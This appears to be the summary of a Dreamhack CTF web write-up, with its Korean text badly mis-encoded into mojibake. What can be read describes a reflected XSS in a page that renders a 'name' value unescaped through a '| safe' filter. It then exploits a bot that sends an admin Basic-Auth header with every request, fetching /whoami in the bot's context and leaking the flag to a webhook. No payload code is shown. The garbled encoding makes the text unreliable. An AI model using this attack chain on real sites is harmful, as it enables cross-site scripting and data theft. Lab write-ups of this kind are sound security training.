intro ํŽ˜์ด์ง€์˜ name์ด `| safe`๋กœ ์ด์Šค์ผ€์ดํ”„ ์—†์ด ๋ Œ๋”๋˜๋Š” reflected XSS. ๋ด‡์€ ๋ชจ๋“  ์š”์ฒญ์— admin Basic-Auth ํ—ค๋”๋ฅผ ์ž๋™์œผ๋กœ ๋ถ™์ด๊ณ  ๋‹ค๋‹ˆ๋ฏ€๋กœ, ๋ด‡ ์ปจํ…์ŠคํŠธ์—์„œ /whoami๋ฅผ fetchํ•˜๋ฉด admin์œผ๋กœ ์ธ์ฆ๋ผ FLAG๊ฐ€ ๋‚˜์˜จ๋‹ค. ์ด๋ฅผ webhook์œผ๋กœ ๋นผ๋‚ธ ๊ณผ์ •.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +4